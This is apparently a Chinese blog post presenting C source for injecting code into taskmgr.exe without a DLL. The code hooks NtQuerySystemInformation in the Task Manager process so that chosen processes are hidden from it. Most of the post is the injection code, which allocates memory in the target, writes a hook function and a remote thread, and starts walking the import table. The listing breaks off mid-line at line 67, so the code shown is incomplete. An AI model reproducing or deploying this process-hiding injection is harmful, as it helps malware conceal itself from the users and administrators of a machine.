代码注入 API HOOK(非DLL)

使用代码注入来实现进程隐藏  而不是使用DLL注入来实现进程隐藏  
没有什么高级技术  纯体力活  原理就不说了  只是没有通过DLL注入  来实现HOOK API
从核心编程 以来  似乎 一提到C注入 就是DLL注入 很奇怪 为什么没人写个完整的代码注入
所以 自己动手写了下
纯粹注入代码   邪恶二进制上 也有个代码注入的 只是用了一个未公开的函数,我还看不懂
= =本来想用汇编写的  发现汇编注入代码远比C注入代码来的繁  所以用C实现了
主要功能就是 隐藏进程   不过RING3的似乎没多大用  练习而已
代码如下:
  1. //需要编译成release版本  DEBUG版本 对函数生成的跳转地址表
  2. //jmp xxxxx  写入远程进程的时候xxxxx等于写入了一个全局变量
  3. // 程序必然崩溃
  4. #include "Iat_Hook.h"
  5. char cPath[] = "taskmgr.exe";
  6. void main(void)
  7. {
  8.   //定义变量
  9.   DWORD dwPid;
  10.   HANDLE hProcess;
  11.   DWORD dwSize = 2048;
  12.   PVOID pRemoteAddress, pRemoteStructAddress,MyAddress;
  13.   REMOTESTRUCT stRemoteStruct;
  14.   //遍历进程 寻找taskmgr.exe进程ID
  15.     dwPid = GetProcessPid(cPath);
  16.   // open process 得到进程句柄
  17.   hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
  18.   if(hProcess == NULL)
  19.   {
  20.     printf("open error code %d/n",GetLastError());
  21.     return;
  22.   }
  23.   
  24.   //写入 替代函数
  25.   MyAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  26.   WriteProcessMemory(hProcess, MyAddress, myNtQuerySystemInformation, dwSize, NULL);
  27.   //初始化结构
  28.   InitializeStruct(&stRemoteStruct, (DWORD)MyAddress, dwPid);
  29.   //写入结构
  30.   pRemoteStructAddress = VirtualAllocEx(hProcess, NULL, sizeof(REMOTESTRUCT), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  31.   WriteProcessMemory(hProcess, pRemoteStructAddress, &stRemoteStruct, sizeof(REMOTESTRUCT), NULL);
  32.   //写入远程线程函数
  33.   pRemoteAddress = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
  34.   WriteProcessMemory(hProcess, pRemoteAddress, RemoteThread, dwSize, NULL);
  35.   //创建远程线程
  36.   CreateRemoteThread(hProcess, NULL, 0, pRemoteAddress,pRemoteStructAddress, 0, 0);
  37.   CloseHandle(hProcess);
  38. }
  39. DWORD __stdcall RemoteThread(PREMOTESTRUCT pRemoteStruct)
  40. {
  41.   FARPROC fpVirtualQuery;
  42.   FARPROC fpVirtualProtect;
  43.   FARPROC fpOpenProcess;
  44.   FARPROC fpEnum;
  45.   FARPROC fpGetProcAddress;
  46.   FARPROC fpLoadLibrary;
  47.   FARPROC fpFreeLibrary;
  48.   FARPROC fpWriteMemory;
  49.   FARPROC fplstrcmp;
  50.   HANDLE hProcess = NULL;
  51.   HMODULE hMods[256];
  52.   DWORD dwNeed;
  53.   HANDLE hPsapi;
  54.   MEMORY_BASIC_INFORMATION stMem;
  55.   HMODULE hKernel, hModule;
  56.   PIMAGE_NT_HEADERS pImageNtHeaders;
  57.   PIMAGE_OPTIONAL_HEADER pImageOptionalHeader;
  58.   IMAGE_DATA_DIRECTORY ImageImport;
  59.   PIMAGE_IMPORT_DESCRIPTOR pImageImportDescriptor;
  60.   PIMAGE_THUNK_DATA pImageThunkData;
  61.   DWORD oldProtect;
  62.   wchar_t *p = pRemoteStruct->cProcessName;
  63.   //初始化函数指针
  64.   fpVirtualQuery = (FARPROC)pRemoteStruct->dwVirtualQuery;
  65.   fpVirtualProtect = (FARPROC)pRemoteStruct->dwVirtualProtect;
  66.   fpOpenProcess = (FARPROC)pRemoteStruct->dwOpenProcess;
  67.   fpLoadLibrary = (F
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值